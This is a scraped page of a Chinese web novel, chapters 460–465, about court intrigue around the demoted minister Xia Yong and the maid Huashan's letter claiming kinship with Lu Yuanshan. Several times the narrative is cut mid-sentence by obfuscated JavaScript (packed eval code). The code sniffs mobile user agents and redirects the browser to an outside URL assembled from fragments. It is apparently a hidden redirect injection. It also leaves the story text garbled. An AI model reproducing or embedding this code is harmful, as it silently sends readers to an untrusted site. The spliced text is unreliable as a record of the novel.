华靖离跟夏明嫣对视了一眼:“夫人猜一下,今天被拉下来的会是楚相还是岳父大人?” “还用说,当然是侯爷的岳父了,唉,就怕从今以后你就要少一位尚书千金出身的夫人来,侯爷可会嫌弃妾身出身寒微?”夏明嫣半开玩笑地道。 楚霆孝的势力更大,如果不是到了图穷匕见的时候,先不能动他,要杀鸡儆猴,当然要动夏庸。 夏庸不仅在朝中的地位比楚霆孝低,他的身份也比较特殊,他跟楚家、陆家和端侯府都有关系。< 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夏明嫣会意,目送着华靖离出门,之后就把那两个人叫了过来说话,顺便叫秋果准备了锅子过来,一起煮蘑菇、河虾和羊肉吃。 于杏儿在海边长大,从小到大,虾自然是没少吃的,还比这新鲜、个儿大,可是羊肉还是头一回吃,而且这两种东西单放着还好,配上这锅子的汤底,那就是她体验过的前所未有的鲜香。 于杏儿吃得脸都红了:“这是什么汤,这般好吃,吃着有鸡汤也有骨头汤,别的我就吃不出来了……快跟我说说,里面都有什么?” 画扇要不是知道了于杏儿的**,知道她也是个有用的,真想拿白眼儿翻她: “于姑娘,你这吃香也太不斯文了。就这样,只需要跟楚夫人吃一顿饭,就能让她不想要这个女儿了。” “她不要我,更好,我还不想要她呢。唉,原来以为我好歹也是尚书府千金呢,刚不就说了么,他就要丢官了!” 第460章宫里消息 于杏儿连着汤吃了一筷子羊肉,咂了咂嘴:“我在你们侯府住了这些日子,就越发明白了,华家这样的能几代军侯,再对比一下,看看老夏头,那就差远了,他这官八成做不久。” “原本还想着我不认他,他也不认我,银子好歹能给点儿吧?现在,万一他被抄家了,咱可什么都没了!” 于杏儿在钩翊侯府是管事儿,原本想将家里的大厨房交给她管,可是她对吃食的要求,比董氏还要简单。 最近华靖离又在府里宴了几次客,夏明嫣也招待了乔依心和几位搭伙做生意的,现在寨子那边的商路通了一半儿了,有些山货和药材能运出来了,比从前绕道官道运出来的便宜了一大半,这些人都是想跟着做生意的,是来谈事儿的。 府上来的人多了,还要在府里用饭,这饭食就不得不精细,这摊子事儿就交给邓澜管了。 于杏儿性子活泼,容易跟市井之人打成一片,索性就让她去管了退军家眷给城里的成衣铺子和各府下人供应成衣和针线的活儿。 于杏儿见这些家眷如今得了固定的活计贴补,日子尚且过得不容易,便起了心思,从夏、楚两家捞一笔银子出来,贴补给这些人家。或是拿这些银子做些生意,也能安置一部分人。 画扇也夹了筷子肉,听了她的话,一不小心把舌头给烫了,吸溜了两口气才道: “这银子你说要就要啊,也得人家给才行。要奴婢说,楚夫人回去之后,没准儿根本没跟楚家相爷说你的事儿,夏大人就更是不知情了。” 于杏儿喝了一大口米酒,带了几分豪气地道:“那就去管楚夫人要,现在谁最想把这个秘密摁下去,谁就该也最容易出银子!” “夫人,您看她,她这性子就跟土匪似的!”画扇带了几分埋怨地道。 于杏儿明明是楚氏的女儿,夏明嫣却跟她越处越融洽了,反倒是画扇自己,倒现在都还奴婢长、奴婢短的,夏明嫣都没说让她改口。 画扇多少有些抱怨,可她也清楚,这多半是因为她从前做错了事,夏明嫣想要压一压她……尽管她心里有数,也少不得有些想法。 夏明嫣看了画扇一眼,假装没察觉她心里那几分不满,反而去问于杏儿: “你若是真去要这银子,多半是能要出来的,我的继母,你的亲娘,假装丰厚,补偿你一笔银子想必也不是不行。” “不过这银子要是要了,以后她私下让你做什么,你可就不好拒绝了。要是想清楚了还想要,你再来跟我说。” 于杏儿吃得头都要抬不起来了,嘴里含糊地道:“我这还不是担心万一哪天老夏头彻底没官做了,家产再被查抄了,都便宜了别人么?” “再说了,这银子我该去要,你这个名正言顺的嫡长女难道不该去要?他们一会儿让你干这个,一会儿让你干那个,难道不该给点银子?” “嫁妆给了,之后就一文钱都不用给了?普天之下就没这个道理,你要是拉不下面子,就让我去,一并管他们要过来……诶,你还没说呢,这汤底是怎么调的,要是能调一锅好汤,我那鱼饭一定能卖得更好。” 于杏儿养成了随遇而安的性子,她大概是真没打算一直待在元京,总是想着现在能多学些东西,将来回去了,拿着一笔银子,手里再有新学的东西,能把她的食摊扩大成食肆。 夏明嫣跟于杏儿本人之间本就没有什么恩怨,二人之间还有着一半相同的血脉,只要性子相投,本就容易亲近起来。 她也没藏着掖着,把那汤的做饭说了:“……总之这里面不是用了一种肉,各类的蘑菇、笋还有一些香料和菜,你没在汤里看见,那都滤出去了,你没看到而已。” 三人用完饭,又在一起做针线,彼此都有些心不在焉,因为大家都清楚她们是在等朝会上的消息。 从午饭等到了傍晚,甚至连晚饭都用了,宫里才传来消息,说是华靖离今夜都得在宫里,大概还得一两天才能回府。 还把朝会的结果传达了过来,说是夏庸被免去了兵部尚书一职,不过依旧留在兵部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过倒也不是罚了一个夏庸这事儿就结束了,因为后续的事儿还没完全查清楚,等到查清之后才能再做定夺,这几人还能不能保住现在的位子,就要看这件事儿的结果了。 夏明嫣让秋果给传话的赏银,摆了摆手让他下去了,思量了一会儿,她轻拍了两下手掌笑道: “果然是圣上和太子,这局棋下得妙啊。既让朝臣们看到了态度,还留出了足够的时间周旋。更关键的是,这时间就跟留白似的,留得妙啊。” 第461章写信吧,认爹 画扇不懂朝局,又因为一直是奴婢之身,不敢谈论这些,只细细地听着。 倒是于杏儿胆子大,开口就道:“还好没有抄家,老夏头至少还是侍郎,可不是说这事儿还没查实么?之后查出来的越来越多,他会不会一撸到底啊?” 这一口一个“老夏头”的,越叫越顺口了,不过还真贴切,用于杏儿的话说,夏庸就是那种外表看挺精明的,实际上上就是一个身边人都在骗他、他也察觉不了的糟老头子。 夏明嫣不觉笑了一下,提醒着她跟画扇:“侍郎?这还不一定呢,刚才来传话的都说了,撤掉兵部尚书的旨意过了明路,可任侍郎的旨意却并没有落实到吏部。” “这就相当于暂代了,确切的说连暂代的都不如,咱们现在这位夏大人最近但凡犯一点错,或是海贸的事儿再查出些什么,他这侍郎都不必做了。” 按理说这“暂代”也是有明旨的,夏庸这回却没有,也就是说他跟其他的“暂代”还是不一样的。他这样的,但凡有个风吹草动,想要免了他比免别人可要容易多了。 问题就在于,就算夏庸足够谨小慎微,他就不会犯错吗? 当然不是,南边发现的那个“村子”,夏家的族叔也是去过的,这中间但凡再被找出些证据,就算没找出来,也可以用之前查出来的借题发挥。 夏庸混迹朝堂半辈子,想来已经清楚最终他至少会连这个侍郎都当不下去甚至退出朝堂的下场,可只要这把闸刀一刻不落下,他的心就得多悬一刻,这种悬而不决的感觉才是最可怕的。 想来,夏庸这阵子是没空找别人麻烦了,他也该重新思考一下,将来他作为一个无官无爵的人,还有没有资格再上那艘船。 就算他还在那艘船上,这几家会如何对他,还怎么可能把说好的利益分给他……他该去想想还有没有必要费力不讨好地坚持下去。 夏明嫣想着事儿,就听见于杏儿很大声地唉呀了一声:“那我们是不是更应该抓紧去要银子了?晚了,可能真就没有了。” “夫人,咱们现在要出来的银子,将来万一抄家流放,应该不能再给要回去了吧?” “只要不是太过分了,应该不会……” 夏明嫣对这个掉钱眼儿里的有些无话可说,她继续分析着局势,“这局里的高明之处就在于,给各方都留足了时间和空间。就好比夏家一旦不想搀和了,楚家就会想夏家退出了,会不会把他们给卖了。” “陆家会想,夏家退出了,楚家就算没有退出,会不会要求得到更大的利益。而且现在失去了夏家,端侯府那边李世子又是那般景况,陆家也会担心他们自己好不容易培养起来的暗中势力会不会受到影响。” “这里面的人各个都想动,可个个又都担心自己会吃亏而不敢也不想动……这中间但凡有人挑拨,他们自己就会乱起来,说不定就抓住罪证了。” 谢维说的什么村子里的事儿还没有查完,很可能只是一个说辞,实际上他们知道的肯定比说出来的多。 于杏儿想了一会儿,点头道:“我明白了,就好比在村子里的时候,有一天半夜我睡不着,跑到海边儿坐了坐,可能就被邻居看见了,以为我出去是为了半夜就出海捕鱼。” “他或许就会担心他出去的晚了,捕的鱼比我家少,第二天他也夜里出去了,可能直接就开船出海了,但其实那一晚我真的什么都没干,只是单纯地在船上坐了一会儿。” 画扇终于能插上嘴了,她也觉得于杏儿这么说很是通俗、贴切:“这就是疑心生暗鬼,谁都怕自己吃亏,不管别人会不会解释,他都不会信。” 那个村子里的人就是端侯府留下寻找海藏宝物和制作探海绞索的,这回被发现了,定然要让没被发现的那些人转入更深的暗中。 为何那村子里有楚、夏两家的人往来,其实应该还有陆家的人,只是谢维去的时候刚巧没碰上而已,这些人其实都是去监督端侯府的。 他们担心端侯府私下把宝藏取了出来,贪了原本答应分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204131|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他们的一份。如今这探究的活儿被加倍隐藏了起来,变得更不透明了,他们不着急才怪。 夏明嫣琢磨了一下,看向画扇道:“从今以后你便不用在以奴婢相称了,你也得开始习惯你的新身份,有些事儿用不着等到几年后了。” 她顿了顿,笑了一下,“一会儿你就去写信,给你陆家,给你的亲生父亲,咱们先把这个亲给认了。就算这位陆叔父不认你,也得先让他知道这件事。” 画扇愣住了,她曾经设想过跟陆远山相认的情景,更加无数次的想过她要是有一个有权有势的亲爹或是继父该有多好,可是真到了这一刻,她反而有些迟疑了。 画扇想像中的父亲,其实小富即安、对她好一些就可以了,可不是一个像陆远山这样在背地里培植人手、策划阴谋诡计、将来还可能变成人人得而诛之的要犯: “这……奴婢,不,我就这么写信过去,他能信么?我娘跟他就那么一次,乔嬷嬷做了安排,他还以为是跟他的侍女,也就是后来那个妾室呢。” “我娘跟他并没有感情,连件信物都没有,乔嬷嬷是人证,可她也不会站出来为我和我娘作证啊……” 夏明嫣看着画扇,玩味地一笑:“怎么,这就不敢了?即便这位陆叔父不是这样一个人,霞姑姑在他那儿连个外室都不算,你想认回亲爹,也是需要一番波折的。” “这要是换了别人家,人家有家里妻子、妾室生的子女在身边,你有心相认,不止要过亲爹和家族这一关,你还得跟那些个面都没见过的兄弟姐妹争宠。这些人都是被当做少爷、姑娘教养大的,你拿什么跟他们比?” “现在你的境遇已经算是好的了,至少没有养在陆家的兄弟姐妹跟你争,夏明月又被养成了那副样子,如今恶名加身,在陆远山那儿说不定还争不过你呢,你可得抓住机会啊。” 当初陆远山让心腹暗中把夏明月暗中送回元京而没有接走,除了治病、调理好身子,以便留存血脉,还有另一重考虑。 第462章他会认 陆远山身子不行了,也就绝了男嗣,他把性命都搭上辛苦经营换来的一切将来除了给陆氏宗族,便是要给女儿、女婿的。 把夏明月交给楚氏抚养,也是存了将来方便夏明月嫁入楚家或是端侯府的心思,要是大事能成,夏明月能恢复原本陆家女的身份,她甚至可以嫁给楚氏的儿子。两代人的遗憾在这桩婚事上得以弥补,何尝不是一段佳话。 而夏明月从小在夏家长大,跟楚氏之子青梅竹马自是不必说,跟其他几家的子嗣关系也不会差,这样的结合从联姻和情感的角度上对她来说都是最好的。 将来要是大恒还在,夏明月凭着她这桩婚事至少能是个诰命夫人,要是他们的事儿成得更大,她还有可能做王妃,甚至还能当上皇后。 对于他们这样的人家来说,要是家里的男儿能够傲视朝堂当然最好,不成的话,要是生女如凤也能安慰祖先。 陆远山要是没有这样的心思,他也不能这么多年如一日的在彭州那种苦寒之地搞出那么大的阵仗来,就是华靖离之前**也是他指使人做下的,还有那彭州的城守也早已成了他的傀儡。 现在却不一样了,李玦这女婿显然已经无法身居高位,关键是要是只是李玦不成了,把他拘在府里养病,把夏明月扶起来,或是干脆让夏明月先和离再改嫁一位新贵也不是不行。 可夏明月现在名声坏了,关键是她这种坏不是那种大事儿上的狠辣,他完全就是胡作和没有德行,作了半天什么也没得着,哪个有本事还身居高位的男人愿意娶这样一个女人做正室。 谁不得想着要是自己到了危难的时候,夏明月这样的连掉头就跑都做不到,非得留在他身边落井下石,把他往死里害,就像她曾经对李玦做得一样。 而且夏明月还跟李玦青梅竹马呢,跟这后头来的丈夫可什么都没有,真有个万一,她只会更过分吧…… 夏明月现在已经失去了被扶植的价值,她就算想当一个傀儡都不行了,做傀儡还得表面光鲜、没有大的污点呢,她已经失去了当傀儡的价值。 这时候画扇突然出现会如何?陆远山能不能接受她代替夏明月? 夏明嫣手掌向下招了招,示意画扇做尽些:“我大概猜的到你在想什么,你在担心论容貌、所学还有生母和陆远山的关系,你都不如夏明月,而且她还是楚夫人养大的,怎么说都能弥补些当年楚、陆两家的遗憾。” 画扇干巴巴地点了两下头:“夫人……听说他是体面的人,从前还有些像现在的李世子,他能接受自己有一个奴才秧子出身的女儿么?” 夏明嫣委婉地笑了一下:“要是从前的陆远山当然不会,可现在的……我觉得会,虽说如今他已成为了彭州实际上的主人,可那里毕竟是苦寒的流放之地,就像那些个刚开化的寨子、部落一样。” “他有这样的经历,有你这样一个女儿,又怎么了?大恒开朝时的乾平公主,像你这么大的时候还在给人做童养媳呢……只要你后面的事做得好,你的过去不仅没什么见不得人的,在世人眼里还会成为磨砺你成长的金石,甚至让你拥有人望。” 大恒的开朝老祖宗是猎户,恰好前朝的最后几年连年灾荒,山里能吃的东西都被吃完了,飞禽走兽更是没了吃食,不是被人吃了,就是饿**。 老祖宗家里没了生计,为了给当时只有六岁的女儿找条活路,就把女儿送去当了童养媳,这就是后来的乾平公主。 等到大恒建立,老祖宗登基之时,乾平公主都已经二十多岁了,比她年长五岁的丈夫是个地主家的纨绔少爷,年纪轻轻就已经纳了六房小妾,还沾染了各种恶**。 老祖宗将乾平公主接回宫中之前,乾平公主当着当地百姓和府尹大人的面,与那小丈夫义绝,回宫之后,她孝顺父母,友敬兄弟和妹妹,更是在民间设立了收容落难女子的惠民署。 乾平公主还礼重农事,用自己的私库积蓄为元京附近的农人购置种子和农具,组织劳役开凿灌溉水渠…… 她曾经的那段做童养媳的经历早已变成了她会如此体恤百姓的成因,说起来都说那一家人在作孽,说正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第463章为她作证 那些故旧和他们的子女都是跟着陆远山受了苦的,画扇在他们眼里也一样,要是陆远山连自己的亲生女儿都不认,是不是就意味着他们这些人也迟早有被他舍弃的一天? 只要确认画扇真的是陆远山的亲生女儿,就算陆远山心里不接受也不喜欢这个女儿,表面上他也得善待她。 这就像一个陌生人想要认识一座大宅子里的人一样,得先让对方把门打开,让对方认可了自己的身份,才能再谈其他。走出了第一步,才能有以后。 画扇又多了几分信心:“那我就写信过去说明一切,就怕他不会相信,我……” “你得相信,他有足够的理由需要认下你。他这一生的挣扎求存、壮大人马,为的是他自己的雄图霸业和他们陆家的恩荫传承,这里面有一部分是为了夏明月,可绝不是全部。” 夏明嫣冷笑了一下,“这就好比你倾尽财力打造了一套贵重的头面想要送给身边看似最重要的人,可你忽然发现这个跟你并没有那么亲,也不是你最重要的人,这副头面你送不出去了。” “你是会把它扔了,还是先留起来,将来再留给另一个对你更重要的人?画扇,你的命不错,你这位亲生父亲此生只会有你们两个女儿了,刚巧夏明月的名声坏得朝野皆知,这也不是什么误会。” “只要你不再行差踏错,你便是他唯一的继人,即便情感上他看在楚夫人的份上还是偏爱夏明月的,可你才是那个可以被他推到前面、名正言顺地继承他一切的人。” 画扇从前的确连着偷了夏明嫣好多年的旧物细软,可也是受了夏姑姑的诱骗,夏明嫣是要挑选可用的人,而不是白璧无瑕的人,哪有那么多绝对清白的人可用。 在这个角斗场上,即便是夏明嫣和华靖离也不能说自己就绝对清白的,他们对画扇的要求也不高,总体上还可以,懂得道理,分得清利害,拿得出手……差不多就行了,不必要求那么高。 当着于杏儿的面,夏明嫣也没再重提画扇从前究竟做过什么。虽然于杏儿也不是毫无所觉,可以只是多看了画扇一眼,什么都没说。 画扇感激地看了夏明嫣一眼,坚定而又几分忐忑地道:“好,我这就写,然后就好好地准备去做陆家的大姑娘。可这信该怎么写,还请夫人指点我,我是怕他不会信。” “你不足以被他相信的时候,就要找一个从身份到动机都能让他相信的人帮你说话。” 夏明嫣笑了一下,让秋果把纸笔拿上来,她自己先提起了笔, “这个人自然是我了,楚夫人是我的继母,她在那么大的事儿上摆了我一道,我想要报复她,所以对真相感兴趣也调查了真相,这便是我的动机。” “你曾经是我的贴身侍女,如今是楚夫人送来的‘妾室’,我身为你的主子、主母,自然有权力为你做主。” “而我身为华侯夫人,自然可以借助华侯身边的人展开调查,查证你的身世,这样至少可以在已有证据、人证的基础上最大限度的保证你的身世是真实的……” 所以需要夏明嫣和画扇各写一封信,扮作夏明嫣查实了画扇的身世,之后又同画扇和霞姑姑核实了当中的细节,再请画扇附上了一封亲笔所写的陈情信。 其中画扇的这封不必有任何文辞的润色,字迹也不需要多好看,就用她那狗爬般的字就可以了。这样才更加真实可信,也更符合她从小到大的经历。 画扇写好了信,夏明嫣检查了一下道:“事情说清楚了,这样就可以了。彭州那边收到信之后,定然会暗中派人来查实,到时候我会安排他们跟你娘和乔嬷嬷见面。” “乔嬷嬷那儿你不必担心,用不着我们做什么,陆世叔一定有法子让她说实话。” 此时已是夜里,画扇和于杏儿各自散去,夏明嫣亲手把两封信放在信封里,再将封口用红蜡封好,之后叫来葱白请他通过华家军的补给马驿把信送出去。 华靖离**虽然是陆家人所为,可是当时陆家把这件事栽赃到了山匪身上,他们一直假装不知道实情。这种时候夏明嫣想把这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204133|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事捅给陆远山,也没什么不合适的。 第二日晌午,华靖离才从宫里回来,昨日朝会引起了很大的变动,很多事情需要移交,昨晚圣上留了十余位与之相关的心腹、大臣在宫中商讨此事。现在大事已定,这些人也就出宫了。 华靖离一番洗漱之后与夏明嫣大概讲了讲现在的局势,又听说画扇的信已送出,便把郭林叫了来交待了几句: “让人跟着,陆家人要是来了元京一律放行,盯紧了楚家、夏家和端侯府,他们之间必然会有联系。等着他们自己动手,太晚了。” “不能等到他们兵强马壮了才动手,得让他们不得不提前他们的计划,这样咱们才能省些事儿,也能让百姓少些损伤。” 郭林领命去办,华靖离累了一天一夜一沾枕头就着了,临睡着前,他突兀地哼笑了一声,对着夏明嫣道, “你要是有空,还是回趟夏家吧,岳父昨晚没出宫,在殿外跪了一夜。这回他回去肯定又要跟端侯府那边闹起来,又要有热闹看了。” 夏庸跪了一夜并非被圣上罚跪,是他主动留下的。一把年纪了,跪这么一晚,恐怕就要没了半条命了。 在别人眼里,或许从兵部尚书降为兵部侍郎,他还留在兵部,还有楚霆孝这座靠山在,官复原职指日可待,形势并没有看上去那么危急。 可这里面只有夏庸、楚霆孝和知道内情的华靖离、张礼岁才能明白这当中的危急已经远远超过了众人的想象。 圣上表面上只是惩处了他们私贩海货之罪,其实世家大族多有私贩海货的,只要贩不是禁物,数量不大,只是供家族内部享用的话,朝廷也就睁一只眼闭一只眼了。 这件事真正触动圣上和朝廷逆鳞的是,那个不知道从哪儿冒出来而不曾在官府统计里出现过的村子。 有这样一群人,朝廷没有他们的户籍,他们脚下的地方没有在官府的舆图里,要是各个地方都冒出来几个“村子”,有了这么多不在朝廷掌控下的人丁和土地,那还得了! 第464章就没个顶事儿的 何况夏庸这人做官虽然没有多少实绩,可他最擅长的就是察言观色、左右逢源,他已经看出来了,圣上八成已经知道他们背后在打什么主意了。 当年老端侯过世之后,他本来该留下的东西就好像消失了似的,从端侯府和他家老家老宅里抄出来的,也就是他那些年积攒下来的俸禄和庶务上的盈余,别的什么都没有。 这要是别人也就罢了,老端侯和他的父亲一直管着南疆海贸,要说赚来的那些都用在李家军身上了,打死谁都不能相信。 圣上其实从一开始就清楚这端侯府有大量的财富不知所踪了,还有那批用了朝廷府库大半财富贩来的海货也不知道去了哪儿。只不过这些东西究竟是藏起来给后世子孙花用,还是要拿来图谋不轨,还是有很大区别的。 这个村子的出现直接验证了端侯府和他们身边的这几家人组成的利益群体是另有图谋的,而且那村子中定然存放着正在研制的探海绞索。 这就说明了,老端侯当年不仅把东西都藏到了海底,现在他们这群人还打算不通过朝廷就把那些东西取出来。这可不是拿来享福、花用的,分明就是图谋不轨。 除了私贩海货,别的偏偏圣上什么都没提,可那眼神和那话里的意思,分明就是让他们洗干净脖子等着…… 夏庸这样跪了一夜,第二日他就是想起来,圣上不发话,他都反而不好起来了。好在御书房里传了口谕出来,让他不想活着了就跪着,想活着就滚! 夏庸两条腿已经软得跟面条似的了,好在身上还带着银票,先塞了一千两出去,才让两个公公一左一右地把他架出了宫门口,之后又由自家的小厮把他抬上了马车。 这一路上,夏庸脑子转得飞快,他把前前后后的事儿翻过来倒过去地想了几遍,在马车里自己嘀咕着道: “要是没找着这个村子,再多的猜测也只是猜测,还能瞒下去,可这村子怎么就找到了呢?” 夏庸承认当初答应跟楚霆孝共谋大事时他的确怀有侥幸心理,可他也想过了南疆的海岸线那么长,各地的流民和那些流放期满但不想归乡的流放之人多有找这些海边、山里落脚的,也不是什么稀罕事儿。 那些个人没有本地的户籍,但因为落脚的地方偏远,当地官府轻易管不到,那里又没什么能赚大钱的营生,没什么人会去。 这样的人在那儿**的多了,慢慢的就形成了许多个小村子,人不多,平时也没什么人注意。等到几十年甚至上百年之后发展出规模了,才会被当时当地府衙纳入管辖范畴。 这样的村子,不,在不成规模的时候根本称不上村子,就是地方,在海边、江边还真不少,太子谢维头一次出远门,南疆当地的大族为了各自的利益,各个都在跟朝廷装糊涂,各家也都有各家的秘密,谢维就是想在当地请一个靠谱的向导都难。 况且他们筹划的这件事瞒着所有人,那村子也已经再不起眼不过了,就算有当地的向导带路,那么多大大小小的“村子”和长年不怎么靠岸的渔船星罗棋布在海岸线上,怎么就那么巧了,就是找到了他们那儿去了呢? 夏庸想着,要么就是这些人里出了内鬼,要么就是老天爷要亡他们……这就是老天爷要绝他们的路啊。 马车快要行至夏府之时,夏庸忽然叫住了车夫:“一会儿到了让门房给夫人传个话,让她去端侯府,我也过去,一起把话说清楚。” 车夫照办了,门房知道夏庸一夜未归,再见夏庸连家门都没进,立刻便明白这回的事儿大了。他赶忙去喊了楚氏,等楚氏简单收拾了一下赶到门口时,夏庸的马车已经不在了,这是压根就没打算等楚氏。 等楚氏赶到端侯府时,直接就被管家引到了李玦的屋里,这就很反常了。 经过这几日各路名医的诊治,李玦的症状没有再恶化下去,但是也没有很大的好转,他现在还瘫在榻上,没有人扶着无法行走,面部僵硬,能说话了,但一说话就嘴歪眼斜还会流口水。 因此别说大事儿了,就是府里的事儿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204134|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有乔嬷嬷、管家和夏明月三人做主,根本没人来跟李玦说,这主要还是担心再刺激到他,让病情再恶化了。 楚氏进去时正看见夏庸坐在李玦榻前低声说着什么,见楚氏进来,夏庸趁着脸道: “昨日朝会上的事想必已经有人跟你说了,我刚才在跟贤婿说这件事,既然都到了,就在这儿把话说清楚吧,这件事不能拖了。” 楚氏敏锐地意识到些什么,她立刻开口,想要把夏庸的嘴堵上:“老爷要说朝堂上的事,该请我父亲来一块儿商议,我一个妇道人家,做不了你们的主。” 夏庸有官职,李玦还没袭爵,但也是世子,要是说这端侯府日后如何打理或是说夏明月的事儿,跟她说还差不多。朝堂上的事,她向来都不参与,一直都是楚霆孝说了算的。 楚氏倒不是不懂朝堂之事,她也不是完全不想参与,而是整件事里每个人都各有分工,她的任务就是将夏明月养大,将陆家的唯一血脉握在手里,让夏明月将她视为亲生母亲,将来才好操控陆家。 再就是她要通过夏明月和夏明嫣掌握端侯府和钩翊侯府的内宅,以便他日让这两府之人为他们楚家所用。 为了达到这样的目的,她不能引人注意,只能周旋于内宅与内宅之间,不能涉及朝堂之事。 刚刚才发生了这么大的事,夏庸一出宫连自家府邸都不进就来了这里,还在李玦的卧房谈朝会上的事,实在有违常理。 “事急从权,哪儿还能讲究那么多。我才从宫里出来,跪了一夜腿都要废了,都没能求得陛下的宽宥。我若是一出宫门就把岳丈请过来,明日那些御史说不定就会**我们翁婿对陛下的处置不满,勾连密谋。” “你听了,之后转达给岳丈就是了,你一个妇道人家,想来不会有人不准你回娘家给自己的父亲尽孝。再说了,贤婿病成这样,按理说也该请别人来议的,难不成还能把亲家母也请来?” 夏庸却不容她反驳,还把李玦和何夫人都利用了一把。 第465章退堂鼓 李玦现在连话都说不清楚,还不能受刺激,实在不适合议事,按理说就算何夫人在寺院里出不来,也应该想法子传了话进去,让她定夺才是。 按这个道理来说,是该请楚霆孝来的,可是这样的话不是又要惹圣上忌惮了么?现在还多了一个太子,还有那些嗅到了隐藏味道的朝臣,还不得扑上来。 这么说倒也在理,楚氏无法反驳,只能屏退左右:“老爷,昨日您还在宫里,我父亲的确传了信儿来,叫我们稍安勿躁,他刚从宫里出来,南疆那边的信也到了,说这事儿蹊跷,并非出了内鬼才走漏了消息的,想是偶然。” “那探海索别人未曾见过,他们说那是给那些商船打造的用来拴船的锁链,府衙那边查不出个所以然来,想必也就解释过去了。老爷稍忍些时日,圣上定会让您官复原职。” 楚氏其实并不知道那探海索具体是什么东西,以为就是更粗、更结实、更长的精铁锁链,这么解释就能解释得通。 其实她已经猜到了夏庸撇开楚霆孝和何夫人在这儿说这些是何用意,她只能先尽力把这两边都安抚下去。于是,她又对李玦道, “世子啊,这件事对你来说就更算不得什么了,南疆的安排多是你父亲那时就布下了的。如今你母亲已经入了寺院清修,这事儿就算还要追究,就算是圣上也不能拦着你母亲不维护你父亲吧?” “你不要多想,先把身子养好了再说。回头我就回趟娘家,跟你外公说,让他再帮你说说话,保你袭爵。” 原先还要到北疆历练才有可能袭爵,现在李玦都成这样了,应该更没指望了才是。楚氏这么说,就是想给李玦吃颗定心丸,保住他们之间的联盟。 要说李玦被气**了这件事,华靖离和夏明嫣是起因,夏明月是成因,可楚氏最不满意的还是李玦这个人。 一个大男人,将来还要出入朝堂和沙场,连这点儿气都受不了,就是没这些个人刺激他,早晚也有别人刺激他。 像是楚霆孝、华靖离,就算是夏庸这样的,哪个不是经过各种磨难的,谁不是越挫越勇,谁也没像他李玦这样一下子就气瘫了。 可楚氏现在只能哄着李玦,谁让这端侯府是他们几家中的财神爷呢?只要能把海里的东西拿出来,这个就还得哄着。 夏庸却回了她一盆凉水:“夫人,你是在内宅待久了,不知道外面的情况。这精铁就不是民间能够动用的,还有这探海索,只要不瞎,就看得出跟普通的铁索不一样。” “你说没有内鬼,好,就算没有,那就剩下两种可能了,要么是碰巧了,要么就是朝廷有人调查此事已久。我看就是后者,而且这批人显然跟华家没有关系,是另外一批,不然他华靖离也不会这时候才把那位邓姑娘给纳了。” “夫人,你想想,朝廷不知何时已经在南疆安插了眼线,如今连太子都知道了,这不就是圣上在给太子立威的机会么?哪里有你说的那么简单。” 一来,华家的势力在北疆,是近期在开始往南方置换、迁移的。 二来么,要是华靖离早就打了南疆的主意,成婚前也可以纳了邓澜,或是圣上那边找自己的亲信娶了邓澜,现在才招揽邓氏父女,应该是近来才发现了他们的价值。 更要命的是,华靖离纳邓澜的时候,他们这些人还自己观察过,都没有察觉华靖离很可能已经知道了邓氏父女和这件事的关系。他们还想着纳了也就纳了,反正只是一个妾室,想要把日子过好了,早晚还得求着他们,这关系就没有断,这人也还是能用的。 如今看来,华靖离根本就不是见色起意,夏明嫣也不是什么宽容大度,这就是借纳妾之名,把邓氏父女纳入自己的羽翼之下。 而且这件事很可能是暗中得了圣上和太子的允许的,而太子这次出行又是在华靖离“纳妾”之后,宫里现在知道的一定比朝会上说出口的多。 楚氏愣了一下,轻轻摇头:“宫里应该只是猜测吧,邓氏父女那儿只有一半的方位,即便他们都说了,也是找不到的。” “猜测可以永远是猜测,做不得数。筹谋这种事本就犹如在刀锋上行走,成或不成就只有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 